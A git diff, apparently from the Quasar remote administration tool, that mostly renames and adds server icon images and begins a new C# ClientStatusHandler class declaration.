diff --git a/Server/flags/za.png b/Quasar.Server/Images/Flags/za.png
similarity index 100%
rename from Server/flags/za.png
rename to Quasar.Server/Images/Flags/za.png
diff --git a/Server/flags/zm.png b/Quasar.Server/Images/Flags/zm.png
similarity index 100%
rename from Server/flags/zm.png
rename to Quasar.Server/Images/Flags/zm.png
diff --git a/Server/flags/zw.png b/Quasar.Server/Images/Flags/zw.png
similarity index 100%
rename from Server/flags/zw.png
rename to Quasar.Server/Images/Flags/zw.png
diff --git a/Server/Quasar_Server.ico b/Quasar.Server/Images/Icons/Quasar_Server.ico
similarity index 100%
rename from Server/Quasar_Server.ico
rename to Quasar.Server/Images/Icons/Quasar_Server.ico
diff --git a/Server/icons/Quasar_Server.png b/Quasar.Server/Images/Icons/Quasar_Server.png
similarity index 100%
rename from Server/icons/Quasar_Server.png
rename to Quasar.Server/Images/Icons/Quasar_Server.png
diff --git a/Server/Resources/actions.png b/Quasar.Server/Images/actions.png
similarity index 100%
rename from Server/Resources/actions.png
rename to Quasar.Server/Images/actions.png
diff --git a/Server/images/application.png b/Quasar.Server/Images/application.png
similarity index 100%
rename from Server/images/application.png
rename to Quasar.Server/Images/application.png
diff --git a/Server/images/application_add.png b/Quasar.Server/Images/application_add.png
similarity index 100%
rename from Server/images/application_add.png
rename to Quasar.Server/Images/application_add.png
diff --git a/Server/images/startup_programs.png b/Quasar.Server/Images/application_cascade.png
similarity index 100%
rename from Server/images/startup_programs.png
rename to Quasar.Server/Images/application_cascade.png
diff --git a/Server/images/application_delete.png b/Quasar.Server/Images/application_delete.png
similarity index 100%
rename from Server/images/application_delete.png
rename to Quasar.Server/Images/application_delete.png
diff --git a/Quasar.Server/Images/application_edit.png b/Quasar.Server/Images/application_edit.png
new file mode 100644
index 000000000..fb2efb877
Binary files /dev/null and b/Quasar.Server/Images/application_edit.png differ
diff --git a/Quasar.Server/Images/application_go.png b/Quasar.Server/Images/application_go.png
new file mode 100644
index 000000000..5cc2b0dd3
Binary files /dev/null and b/Quasar.Server/Images/application_go.png differ
diff --git a/Server/images/archive.png b/Quasar.Server/Images/archive.png
similarity index 100%
rename from Server/images/archive.png
rename to Quasar.Server/Images/archive.png
diff --git a/Quasar.Server/Images/arrow_down.png b/Quasar.Server/Images/arrow_down.png
new file mode 100644
index 000000000..2c4e27937
Binary files /dev/null and b/Quasar.Server/Images/arrow_down.png differ
diff --git a/Quasar.Server/Images/arrow_up.png b/Quasar.Server/Images/arrow_up.png
new file mode 100644
index 000000000..1ebb19324
Binary files /dev/null and b/Quasar.Server/Images/arrow_up.png differ
diff --git a/Server/images/back.png b/Quasar.Server/Images/back.png
similarity index 100%
rename from Server/images/back.png
rename to Quasar.Server/Images/back.png
diff --git a/Server/images/bricks.png b/Quasar.Server/Images/bricks.png
similarity index 100%
rename from Server/images/bricks.png
rename to Quasar.Server/Images/bricks.png
diff --git a/Server/images/broom.png b/Quasar.Server/Images/broom.png
similarity index 100%
rename from Server/images/broom.png
rename to Quasar.Server/Images/broom.png
diff --git a/Server/images/cancel.png b/Quasar.Server/Images/cancel.png
similarity index 100%
rename from Server/images/cancel.png
rename to Quasar.Server/Images/cancel.png
diff --git a/Quasar.Server/Images/cog.png b/Quasar.Server/Images/cog.png
new file mode 100644
index 000000000..67de2c6cc
Binary files /dev/null and b/Quasar.Server/Images/cog.png differ
diff --git a/Server/images/computer.png b/Quasar.Server/Images/computer.png
similarity index 100%
rename from Server/images/computer.png
rename to Quasar.Server/Images/computer.png
diff --git a/Server/Resources/delete.png b/Quasar.Server/Images/delete.png
similarity index 100%
rename from Server/Resources/delete.png
rename to Quasar.Server/Images/delete.png
diff --git a/Server/images/done.png b/Quasar.Server/Images/done.png
similarity index 100%
rename from Server/images/done.png
rename to Quasar.Server/Images/done.png
diff --git a/Server/images/drive_go.png b/Quasar.Server/Images/drive_go.png
similarity index 100%
rename from Server/images/drive_go.png
rename to Quasar.Server/Images/drive_go.png
diff --git a/Server/images/eye.png b/Quasar.Server/Images/eye.png
similarity index 100%
rename from Server/images/eye.png
rename to Quasar.Server/Images/eye.png
diff --git a/Server/images/file.png b/Quasar.Server/Images/file.png
similarity index 100%
rename from Server/images/file.png
rename to Quasar.Server/Images/file.png
diff --git a/Server/images/folder.png b/Quasar.Server/Images/folder.png
similarity index 100%
rename from Server/images/folder.png
rename to Quasar.Server/Images/folder.png
diff --git a/Server/images/image.png b/Quasar.Server/Images/image.png
similarity index 100%
rename from Server/images/image.png
rename to Quasar.Server/Images/image.png
diff --git a/Server/images/information.png b/Quasar.Server/Images/information.png
similarity index 100%
rename from Server/images/information.png
rename to Quasar.Server/Images/information.png
diff --git a/Server/images/key_go.png b/Quasar.Server/Images/key_go.png
similarity index 100%
rename from Server/images/key_go.png
rename to Quasar.Server/Images/key_go.png
diff --git a/Server/images/keyboard_add.png b/Quasar.Server/Images/keyboard_add.png
similarity index 100%
rename from Server/images/keyboard_add.png
rename to Quasar.Server/Images/keyboard_add.png
diff --git a/Server/images/keyboard_delete.png b/Quasar.Server/Images/keyboard_delete.png
similarity index 100%
rename from Server/images/keyboard_delete.png
rename to Quasar.Server/Images/keyboard_delete.png
diff --git a/Server/images/logger.png b/Quasar.Server/Images/keyboard_magnify.png
similarity index 100%
rename from Server/images/logger.png
rename to Quasar.Server/Images/keyboard_magnify.png
diff --git a/Server/images/lightning.png b/Quasar.Server/Images/lightning.png
similarity index 100%
rename from Server/images/lightning.png
rename to Quasar.Server/Images/lightning.png
diff --git a/Server/images/monitor.png b/Quasar.Server/Images/monitor.png
similarity index 100%
rename from Server/images/monitor.png
rename to Quasar.Server/Images/monitor.png
diff --git a/Server/images/task-manager.png b/Quasar.Server/Images/monitoring.png
similarity index 100%
rename from Server/images/task-manager.png
rename to Quasar.Server/Images/monitoring.png
diff --git a/Server/images/mouse_add.png b/Quasar.Server/Images/mouse_add.png
similarity index 100%
rename from Server/images/mouse_add.png
rename to Quasar.Server/Images/mouse_add.png
diff --git a/Server/images/mouse_delete.png b/Quasar.Server/Images/mouse_delete.png
similarity index 100%
rename from Server/images/mouse_delete.png
rename to Quasar.Server/Images/mouse_delete.png
diff --git a/Server/images/movie.png b/Quasar.Server/Images/movie.png
similarity index 100%
rename from Server/images/movie.png
rename to Quasar.Server/Images/movie.png
diff --git a/Server/images/music.png b/Quasar.Server/Images/music.png
similarity index 100%
rename from Server/images/music.png
rename to Quasar.Server/Images/music.png
diff --git a/Quasar.Server/Images/page_copy.png b/Quasar.Server/Images/page_copy.png
new file mode 100644
index 000000000..195dc6d6c
Binary files /dev/null and b/Quasar.Server/Images/page_copy.png differ
diff --git a/Server/images/pdf.png b/Quasar.Server/Images/pdf.png
similarity index 100%
rename from Server/images/pdf.png
rename to Quasar.Server/Images/pdf.png
diff --git a/Server/images/refresh.png b/Quasar.Server/Images/refresh.png
similarity index 100%
rename from Server/images/refresh.png
rename to Quasar.Server/Images/refresh.png
diff --git a/Server/images/reg_binary.png b/Quasar.Server/Images/reg_binary.png
similarity index 100%
rename from Server/images/reg_binary.png
rename to Quasar.Server/Images/reg_binary.png
diff --git a/Server/images/reg_string.png b/Quasar.Server/Images/reg_string.png
similarity index 100%
rename from Server/images/reg_string.png
rename to Quasar.Server/Images/reg_string.png
diff --git a/Server/images/registry.png b/Quasar.Server/Images/registry.png
similarity index 100%
rename from Server/images/registry.png
rename to Quasar.Server/Images/registry.png
diff --git a/Server/Resources/restart.png b/Quasar.Server/Images/restart.png
similarity index 100%
rename from Server/Resources/restart.png
rename to Quasar.Server/Images/restart.png
diff --git a/Server/images/save.png b/Quasar.Server/Images/save.png
similarity index 100%
rename from Server/images/save.png
rename to Quasar.Server/Images/save.png
diff --git a/Server/images/server.png b/Quasar.Server/Images/server.png
similarity index 100%
rename from Server/images/server.png
rename to Quasar.Server/Images/server.png
diff --git a/Server/images/server-add.png b/Quasar.Server/Images/server_add.png
similarity index 100%
rename from Server/images/server-add.png
rename to Quasar.Server/Images/server_add.png
diff --git a/Server/images/server-uninstall.png b/Quasar.Server/Images/server_delete.png
similarity index 100%
rename from Server/images/server-uninstall.png
rename to Quasar.Server/Images/server_delete.png
diff --git a/Server/images/server-disconnect.png b/Quasar.Server/Images/server_disconnect.png
similarity index 100%
rename from Server/images/server-disconnect.png
rename to Quasar.Server/Images/server_disconnect.png
diff --git a/Server/images/server-reconnect.png b/Quasar.Server/Images/server_go.png
similarity index 100%
rename from Server/images/server-reconnect.png
rename to Quasar.Server/Images/server_go.png
diff --git a/Server/images/server_link.png b/Quasar.Server/Images/server_link.png
similarity index 100%
rename from Server/images/server_link.png
rename to Quasar.Server/Images/server_link.png
diff --git a/Server/Resources/shutdown.png b/Quasar.Server/Images/shutdown.png
similarity index 100%
rename from Server/Resources/shutdown.png
rename to Quasar.Server/Images/shutdown.png
diff --git a/Server/Resources/standby.png b/Quasar.Server/Images/standby.png
similarity index 100%
rename from Server/Resources/standby.png
rename to Quasar.Server/Images/standby.png
diff --git a/Server/images/terminal.png b/Quasar.Server/Images/terminal.png
similarity index 100%
rename from Server/images/terminal.png
rename to Quasar.Server/Images/terminal.png
diff --git a/Server/images/text.png b/Quasar.Server/Images/text.png
similarity index 100%
rename from Server/images/text.png
rename to Quasar.Server/Images/text.png
diff --git a/Server/Resources/textfield_rename.png b/Quasar.Server/Images/textfield_rename.png
similarity index 100%
rename from Server/Resources/textfield_rename.png
rename to Quasar.Server/Images/textfield_rename.png
diff --git a/Quasar.Server/Images/transmit_blue.png b/Quasar.Server/Images/transmit_blue.png
new file mode 100644
index 000000000..7b1142fc7
Binary files /dev/null and b/Quasar.Server/Images/transmit_blue.png differ
diff --git a/Server/images/uac-shield.png b/Quasar.Server/Images/uac_shield.png
similarity index 100%
rename from Server/images/uac-shield.png
rename to Quasar.Server/Images/uac_shield.png
diff --git a/Quasar.Server/Images/user.png b/Quasar.Server/Images/user.png
new file mode 100644
index 000000000..79f35ccbd
Binary files /dev/null and b/Quasar.Server/Images/user.png differ
diff --git a/Server/images/website.png b/Quasar.Server/Images/website.png
similarity index 100%
rename from Server/images/website.png
rename to Quasar.Server/Images/website.png
diff --git a/Server/images/word.png b/Quasar.Server/Images/word.png
similarity index 100%
rename from Server/images/word.png
rename to Quasar.Server/Images/word.png
diff --git a/Server/images/world_go.png b/Quasar.Server/Images/world_go.png
similarity index 100%
rename from Server/images/world_go.png
rename to Quasar.Server/Images/world_go.png
diff --git a/Server/images/world_link.png b/Quasar.Server/Images/world_link.png
similarity index 100%
rename from Server/images/world_link.png
rename to Quasar.Server/Images/world_link.png
diff --git a/Quasar.Server/Messages/ClientStatusHandler.cs b/Quasar.Server/Messages/ClientStatusHandler.cs
new file mode 100644
index 000000000..58d1b5d13
--- /dev/null
+++ b/Quasar.Server/Messages/ClientStatusHandler.cs
@@ -0,0 +1,112 @@
+using Quasar.Common.Enums;
+using Quasar.Common.Messages;
+using Quasar.Common.Networking;
+using Quasar.Server.Networking;
+
+namespace Quasar.Server.Messages
+{
+ ///
+ /// Handles messages for the interaction with the remote client status.
+ ///
+ public class ClientStatusHandler : MessageProcessorBase